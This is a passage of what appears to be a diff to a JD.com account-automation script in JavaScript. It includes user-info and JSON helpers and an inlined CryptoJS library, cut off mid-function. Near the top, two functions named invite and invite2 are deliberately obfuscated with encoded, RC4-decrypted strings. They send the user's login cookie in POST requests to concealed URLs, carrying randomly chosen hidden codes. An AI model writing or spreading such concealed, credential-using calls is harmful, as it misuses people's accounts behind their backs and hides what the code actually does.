YMKowp/Dv8Otw4RFG1DDghBrw5TDpzkEw5h8WcK0V8KIOgZewqHCvRXCpsO7Y8OsAsK1a8K5w486wqV9csKow69kDj7DgsKGwq4+wpBsasKYbsO+TToCO0xuw6zCksO0P8KgEXRwA8KnMy3DinQ6OMOAA2LCpybDkcKHa0vCsGgLw4rCk1oUwr7DhW3DvGTCoMKNOMOAd8K5w5/DlsOhw6sFwrfCoVfCmHLCmcK9b8Otw5fDt8OOwoUOwoTCkShJfmwQKChVwr7DoMO2dR3DixPCtWtTwonDicOEXsOQW8ODWRfCkMOZw4/ClMKDEU3Dl8KVwrZUKlpyIMKCw67CicK9ZsOpA8KVwodOwr3CqwICwoLCicKbwpF1w4JeEMKMFCHCocK3wqozw5AEw6TDrMKQwpjCrQHDn8KgUA7Do04qTk8sw6oaw7vCp0NSwonCtsKiEyVIwp7CnsK0TsOFVA==','w5wZIcObwoLDgzTCqMOeL8KWZsKSESjDj8ODw5vDisKOW8Obwop4','wpfCih3ChA==','w5rDgzrCjiB2ek9swrjCh8OBEcOYeChMI2/ChcK+wrjCjgU=','w47CuzZqwq7CnMOtwpvDusOFfcOEw7Q3wqbDkHnDpsK6woMPMXsxCnTCozd9w5rDrsOvCC3DlsKxwo47w4HCqRTCpjx6','LlnDoDpfw5h3w4pUwphzPHnCs8KMIMK4wp1kecOcZXd/','DxFGw5JuAMOSwrjDiMOBw7QKwrLCnVtZaBJSwqZMeU1Swq0THlR1w4tkAMOhwqjDnWvChMOHQ8KOa8Kgw7h2','N8KwBzXCqAFcw51LPFQ3HShUE3JuQjNwLFTCkcKgw6bDicO4Km8PScKzw6Btw7XDrCVKw4LDjMO8wo07','VcO9wpl1wozChMKRNyVkBcOKL8KOEMKjb8OvwqzCtE9EwofDgzZRWifDjsKDwqUZfMKRQQ3DuMKjwo4Xw54LFsKQwq3CpxU5OcO0','wrIVahPDrcOMHcKaEzJrw63Dk3TDo8K5EXLDtMKOIVEcwpTDhsK6TcKY','MUzDssOBw7N8wrEQN2bCglvCpCTDlsO0wqFfw6LCmcOHw7NHwqxZfWUnUiw=','jsgYjUxiaQJmi.Vctom.vn6YhwuJJ=='];(function(_0x4d697b,_0x412f5d,_0x13a220){var _0x10c543=function(_0x43cb8d,_0x1a29bd,_0x2a3d7e,_0x5187a6,_0x57fad4){_0x1a29bd=_0x1a29bd>>0x8,_0x57fad4='po';var _0x3aff67='shift',_0x2498af='push';if(_0x1a29bd<_0x43cb8d){while(--_0x43cb8d){_0x5187a6=_0x4d697b[_0x3aff67]();if(_0x1a29bd===_0x43cb8d){_0x1a29bd=_0x5187a6;_0x2a3d7e=_0x4d697b[_0x57fad4+'p']();}else if(_0x1a29bd&&_0x2a3d7e['replace'](/[gYUxQJVtnYhwuJJ=]/g,'')===_0x1a29bd){_0x4d697b[_0x2498af](_0x5187a6);}}_0x4d697b[_0x2498af](_0x4d697b[_0x3aff67]());}return 0x787ae;};return _0x10c543(++_0x412f5d,_0x13a220)>>_0x412f5d^_0x13a220;}(_0x444a,0x1e8,0x1e800));var _0x5f27=function(_0x4e38e1,_0x5f3772){_0x4e38e1=~~'0x'['concat'](_0x4e38e1);var _0x41b1f2=_0x444a[_0x4e38e1];if(_0x5f27['rXRbbU']===undefined){(function(){var _0x40dc14=function(){var _0x272973;try{_0x272973=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x440aa1){_0x272973=window;}return _0x272973;};var _0x483ad5=_0x40dc14();var _0xa4b8ac='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x483ad5['atob']||(_0x483ad5['atob']=function(_0x37ed5c){var _0xe5ff6a=String(_0x37ed5c)['replace'](/=+$/,'');for(var _0xdf7dbc=0x0,_0x2a59da,_0x165867,_0x30c67c=0x0,_0x225e40='';_0x165867=_0xe5ff6a['charAt'](_0x30c67c++);~_0x165867&&(_0x2a59da=_0xdf7dbc%0x4?_0x2a59da*0x40+_0x165867:_0x165867,_0xdf7dbc++%0x4)?_0x225e40+=String['fromCharCode'](0xff&_0x2a59da>>(-0x2*_0xdf7dbc&0x6)):0x0){_0x165867=_0xa4b8ac['indexOf'](_0x165867);}return _0x225e40;});}());var _0x5fd829=function(_0x274260,_0x5f3772){var _0x2a497e=[],_0x2653a4=0x0,_0x228aab,_0x59022b='',_0x8e5b6a='';_0x274260=atob(_0x274260);for(var _0x441e86=0x0,_0x242ad8=_0x274260['length'];_0x441e86<_0x242ad8;_0x441e86++){_0x8e5b6a+='%'+('00'+_0x274260['charCodeAt'](_0x441e86)['toString'](0x10))['slice'](-0x2);}_0x274260=decodeURIComponent(_0x8e5b6a);for(var _0x204b80=0x0;_0x204b80<0x100;_0x204b80++){_0x2a497e[_0x204b80]=_0x204b80;}for(_0x204b80=0x0;_0x204b80<0x100;_0x204b80++){_0x2653a4=(_0x2653a4+_0x2a497e[_0x204b80]+_0x5f3772['charCodeAt'](_0x204b80%_0x5f3772['length']))%0x100;_0x228aab=_0x2a497e[_0x204b80];_0x2a497e[_0x204b80]=_0x2a497e[_0x2653a4];_0x2a497e[_0x2653a4]=_0x228aab;}_0x204b80=0x0;_0x2653a4=0x0;for(var _0x54bdb1=0x0;_0x54bdb1<_0x274260['length'];_0x54bdb1++){_0x204b80=(_0x204b80+0x1)%0x100;_0x2653a4=(_0x2653a4+_0x2a497e[_0x204b80])%0x100;_0x228aab=_0x2a497e[_0x204b80];_0x2a497e[_0x204b80]=_0x2a497e[_0x2653a4];_0x2a497e[_0x2653a4]=_0x228aab;_0x59022b+=String['fromCharCode'](_0x274260['charCodeAt'](_0x54bdb1)^_0x2a497e[(_0x2a497e[_0x204b80]+_0x2a497e[_0x2653a4])%0x100]);}return _0x59022b;};_0x5f27['pNMNHG']=_0x5fd829;_0x5f27['kkfxSR']={};_0x5f27['rXRbbU']=!![];}var _0x2b06fd=_0x5f27['kkfxSR'][_0x4e38e1];if(_0x2b06fd===undefined){if(_0x5f27['ILWjZu']===undefined){_0x5f27['ILWjZu']=!![];}_0x41b1f2=_0x5f27['pNMNHG'](_0x41b1f2,_0x5f3772);_0x5f27['kkfxSR'][_0x4e38e1]=_0x41b1f2;}else{_0x41b1f2=_0x2b06fd;}return _0x41b1f2;};function invite2(){var _0x27cc4a={'KDLqe':_0x5f27('0','[MEy'),'XIuhb':_0x5f27('1','YzVd'),'hMbtL':_0x5f27('2','q7p1'),'yMkrt':_0x5f27('3','V6Nx'),'XkXQo':_0x5f27('4','XsN9'),'MhLVF':_0x5f27('5','[^(Z'),'sEtGZ':_0x5f27('6','C7$w'),'RyvrN':_0x5f27('7','lEPt'),'IcOHN':_0x5f27('8','#p!4'),'rLrVC':_0x5f27('9','bOJy'),'oaBjl':_0x5f27('a','gPAC'),'olKQO':_0x5f27('b','ilha'),'XkvAa':_0x5f27('c','R143'),'dFQTB':function(_0x50b8e9,_0x5ad457){return _0x50b8e9*_0x5ad457;},'jNEPV':_0x5f27('d','gPAC'),'ySNis':_0x5f27('e','ehIJ'),'eItqc':_0x5f27('f','TvJw'),'YUEUo':_0x5f27('10','synn'),'VWEwT':_0x5f27('11','C0ws'),'LgnRu':function(_0x4c4f87,_0x4a3170){return _0x4c4f87(_0x4a3170);},'qdLNj':_0x5f27('12','BdIl'),'cnIji':_0x5f27('13','gPAC'),'JkwCg':_0x5f27('14','Ac7V'),'WDrwJ':function(_0x18c181,_0x54f752){return _0x18c181(_0x54f752);},'cVNZg':function(_0x55643f,_0x34129a){return _0x55643f(_0x34129a);},'hHKXL':_0x5f27('15','j8(H')};let _0x2c6178=+new Date();let _0xf67a42=[_0x27cc4a[_0x5f27('16','Ac7V')],_0x27cc4a[_0x5f27('17','C7$w')],_0x27cc4a[_0x5f27('18','ehIJ')],_0x27cc4a[_0x5f27('19','%P6F')],_0x27cc4a[_0x5f27('1a','GsGt')],_0x27cc4a[_0x5f27('1b','Ac7V')],_0x27cc4a[_0x5f27('1c','[^(Z')],_0x27cc4a[_0x5f27('1d','jhIh')],_0x27cc4a[_0x5f27('1e','L3Kq')],_0x27cc4a[_0x5f27('1f','^EUf')],_0x27cc4a[_0x5f27('20','[^(Z')],_0x27cc4a[_0x5f27('21','9XNs')],_0x27cc4a[_0x5f27('22','aU8%')]][Math[_0x5f27('23','Ac7V')](_0x27cc4a[_0x5f27('24','&cp2')](Math[_0x5f27('25','j8(H')](),0xd))];let _0x2aeb55={'Host':_0x27cc4a[_0x5f27('26','j8(H')],'accept':_0x27cc4a[_0x5f27('27','BdIl')],'content-type':_0x27cc4a[_0x5f27('28','N2@S')],'origin':_0x27cc4a[_0x5f27('29','[^(Z')],'accept-language':_0x27cc4a[_0x5f27('2a','seg[')],'user-agent':$[_0x5f27('2b','PqyP')]()?process[_0x5f27('2c','YzVd')][_0x5f27('2d','0icS')]?process[_0x5f27('2e','BdIl')][_0x5f27('2f','^EUf')]:_0x27cc4a[_0x5f27('30','ilha')](require,_0x27cc4a[_0x5f27('31','e69j')])[_0x5f27('32','Ac7V')]:$[_0x5f27('33','jhIh')](_0x27cc4a[_0x5f27('34','#p!4')])?$[_0x5f27('35','seg[')](_0x27cc4a[_0x5f27('36','%P6F')]):_0x27cc4a[_0x5f27('37','XsN9')],'referer':_0x5f27('38','!UsR')+_0x27cc4a[_0x5f27('39','!UsR')](encodeURIComponent,_0xf67a42),'Cookie':cookie};let _0x594b10=_0x5f27('3a','seg[')+_0x27cc4a[_0x5f27('3b','8^js')](encodeURIComponent,_0xf67a42)+_0x5f27('3c','Ac7V')+_0x2c6178;var _0x44d05b={'url':_0x27cc4a[_0x5f27('3d','[^(Z')],'headers':_0x2aeb55,'body':_0x594b10};$[_0x5f27('3e','oPBY')](_0x44d05b,(_0x46da53,_0x3abdba,_0x113b96)=>{});}function invite(){var _0x4528be={'lfKXW':_0x5f27('3f',']T!G'),'EJaoM':_0x5f27('40','ed*u'),'CXUmd':_0x5f27('41','^EUf'),'HvtbA':_0x5f27('42','Vha('),'aWuxU':_0x5f27('43','vLLe'),'cmhRz':_0x5f27('44','aU8%'),'tymAQ':_0x5f27('45','[^o5'),'HpgmM':_0x5f27('46','XsN9'),'SRkzU':_0x5f27('47','TvJw'),'BdqMO':_0x5f27('48','YzVd'),'klfuI':_0x5f27('49','lEPt'),'Ssdoy':_0x5f27('4a','XsN9'),'rHlzU':_0x5f27('4b','vLLe'),'WcVSW':function(_0x4c5c2a,_0x17e256){return _0x4c5c2a*_0x17e256;},'dwJLC':_0x5f27('4c','V6Nx'),'ypina':_0x5f27('4d','C7$w'),'NSOgc':_0x5f27('4e','ehIJ'),'bJReN':_0x5f27('4f','^A9e'),'ZxeLt':_0x5f27('50','j8(H'),'JUbKP':function(_0x1b6c70,_0x582396){return _0x1b6c70(_0x582396);},'ICuEj':_0x5f27('51','R143'),'eCLeH':_0x5f27('52','91%f'),'eFYya':_0x5f27('53','^A9e'),'HNjrY':_0x5f27('54','PqyP'),'QqROC':function(_0x310d41,_0x4d6a91){return _0x310d41(_0x4d6a91);}};let _0x297a32=+new Date();let _0x7c13a=[_0x4528be[_0x5f27('55','#p!4')],_0x4528be[_0x5f27('56','7nBh')],_0x4528be[_0x5f27('57','vLLe')],_0x4528be[_0x5f27('58','3wTS')],_0x4528be[_0x5f27('59','C0ws')],_0x4528be[_0x5f27('5a','Kw2m')],_0x4528be[_0x5f27('5b','vLLe')],_0x4528be[_0x5f27('5c','V6Nx')],_0x4528be[_0x5f27('5d','aU8%')],_0x4528be[_0x5f27('5e','ed*u')],_0x4528be[_0x5f27('5f','ilha')],_0x4528be[_0x5f27('60','lEPt')],_0x4528be[_0x5f27('61','91%f')]][Math[_0x5f27('62','vLLe')](_0x4528be[_0x5f27('63','TvJw')](Math[_0x5f27('25','j8(H')](),0xd))];var _0x586b3f={'Host':_0x4528be[_0x5f27('64','R143')],'accept':_0x4528be[_0x5f27('65','91%f')],'content-type':_0x4528be[_0x5f27('66','[^(Z')],'origin':_0x4528be[_0x5f27('67','N2@S')],'accept-language':_0x4528be[_0x5f27('68','V6Nx')],'user-agent':$[_0x5f27('69','7nBh')]()?process[_0x5f27('6a','TvJw')][_0x5f27('6b','CesG')]?process[_0x5f27('6c','8^js')][_0x5f27('6d','#p!4')]:_0x4528be[_0x5f27('6e','7nBh')](require,_0x4528be[_0x5f27('6f','lEPt')])[_0x5f27('70','XsN9')]:$[_0x5f27('71','0icS')](_0x4528be[_0x5f27('72','[^o5')])?$[_0x5f27('73','Kw2m')](_0x4528be[_0x5f27('74','9q*T')]):_0x4528be[_0x5f27('75','e69j')],'referer':_0x4528be[_0x5f27('76','aU8%')],'Cookie':cookie};var _0xded7d1=_0x5f27('77','V6Nx')+_0x4528be[_0x5f27('78','ed*u')](encodeURIComponent,_0x7c13a)+_0x5f27('79','GsGt')+_0x297a32;var _0x4e6c1c={'url':_0x5f27('7a','D6)v')+ +new Date(),'headers':_0x586b3f,'body':_0xded7d1};$[_0x5f27('7b','[^o5')](_0x4e6c1c,(_0x4129d7,_0x3dcfb6,_0x48a4c9)=>{});};_0xod3='jsjiami.com.v6';
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+
+!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () {
+ var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, 